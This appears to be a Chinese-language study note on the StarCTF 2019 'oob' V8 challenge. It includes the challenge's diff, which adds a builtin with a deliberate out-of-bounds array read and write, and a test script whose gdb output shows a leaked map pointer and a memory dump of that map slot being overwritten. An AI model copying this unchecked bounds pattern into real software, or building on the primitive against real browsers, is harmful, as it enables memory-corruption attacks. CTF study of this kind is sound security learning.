StarCTF2019-oob

#CTF #V8 #Done

StarCTF2019-oob

git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

#########oob.diff################################################
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \\
   /* <https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap> */   \\
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \\
+  CPP(ArrayOob)                                                                \\
                                                                                \\
   /* ArrayBuffer */                                                            \\
   /* ES #sec-arraybuffer-constructor */                                        \\
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

这个人为引入的一个漏洞oob函数,当oob参数为1时,返回arr[length]的值,否则将oob的第一个参数写入arr[length]的位置,又C++成员函数的第一个参数为this,故规律为:

oob()→返回arr[length]、oob(x)→将x写入arr[length]的位置

在debug目录新建test.js

var a = [1,2,3,1.1];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();

然后执行命令

v@v:~/v8/out.gn/x64.debug$ gdb ./d8
(gdb) set args --allow-natives-syntax ./test.js
(gdb) r
Starting program: /home/v/v8/out.gn/x64.debug/d8 --allow-natives-syntax ./test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3110700 (LWP 25395)]
DebugPrint: 0x3dfe8c28de49: [JSArray]
 - map: 0x26f0a49c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1ff7d8b91111 <JSArray[0]>
 - elements: 0x3dfe8c28de19 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x1fdb838c0c71 <FixedArray[0]> {
    #length: 0x30bc50b401a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x3dfe8c28de19 <FixedDoubleArray[4]> {
           0: 1
           1: 2
           2: 3
           3: 1.1
 }
0x26f0a49c2ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x26f0a49c2e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x30bc50b40609 <Cell value= 1>
 - instance descriptors #1: 0x1ff7d8b91f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x1ff7d8b91eb9 <TransitionArray[4]>Transition array #1:
     0x1fdb838c4ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x26f0a49c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x1ff7d8b91111 <JSArray[0]>
 - constructor: 0x1ff7d8b90ec1 <JSFunction Array (sfi = 0x30bc50b4aca1)>
 - dependent code: 0x1fdb838c02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
v8::base::OS::DebugBreak () at ../../src/base/platform/platform-posix.cc:428
428     }

现在转到release中

v@v:~/v8/out.gn/x64.release$ gdb ./d8 
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./d8...(no debugging symbols found)...done.
(gdb) set args --allow-natives-syntax ./test.js
(gdb) r
Starting program: /home/v/v8/out.gn/x64.release/d8 --allow-natives-syntax ./test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff661a700 (LWP 25419)]
0x3d78c67cde49 <JSArray[4]>

Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555561647a1 in v8::base::OS::DebugBreak() ()
(gdb) c
Continuing.
[*] oob return data:2.46481470241216e-310

Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555561647a1 in v8::base::OS::DebugBreak() ()
(gdb)

由这个[*] oob return data:2.46481470241216e-310可以看出泄漏了map的值,这样的话在oob中添加参数就可以修改对应的map值

参考链接:

浏览器入门之starctf-OOB

Ama2in9

v8 exploit入门[PlaidCTF roll a d8] - 先知社区

从一道CTF题零基础学V8漏洞利用 - FreeBuf网络安全行业门户

A1ex's Blog

[原创]V8环境搭建,100%成功版-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

Chrome-V8-Issue-716044 - FreeBuf网络安全行业门户

问题

d8的release版本无法使用job命令

需要在 out.gn/x64.release/args.gn 文件加入以下内容:

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

再编译

ninja -C v8/out.gn/x64.release
pwndbg> telescope 0x2481ae7cde18
00:0000│  0x2481ae7cde18 —▸ 0x8e747d814f9 ◂— 0x8e747d801
01:0008│  0x2481ae7cde20 ◂— 0x400000000
02:0010│  0x2481ae7cde28 ◂— 0x3ff0000000000000
03:0018│  0x2481ae7cde30 ◂— 0x4000000000000000
04:0020│  0x2481ae7cde38 ◂— 0x4008000000000000
05:0028│  0x2481ae7cde40 ◂— 0x3ff199999999999a
06:0030│  0x2481ae7cde48 —▸ 0x7ddef542ed9 ◂— 0x4000008e747d801
07:0038│  0x2481ae7cde50 —▸ 0x8e747d80c71 ◂— 0x8e747d808

pwndbg> telescope 0x2481ae7cde18
00:0000│  0x2481ae7cde18 —▸ 0x8e747d814f9 ◂— 0x8e747d801
01:0008│  0x2481ae7cde20 ◂— 0x400000000
02:0010│  0x2481ae7cde28 ◂— 0x3ff0000000000000
03:0018│  0x2481ae7cde30 ◂— 0x4000000000000000
04:0020│  0x2481ae7cde38 ◂— 0x4008000000000000
05:0028│  0x2481ae7cde40 ◂— 0x3ff199999999999a
06:0030│  0x2481ae7cde48 ◂— 0x4000000000000000
07:0038│  0x2481ae7cde50 —▸ 0x8e747d80c71 ◂— 0x8e747d808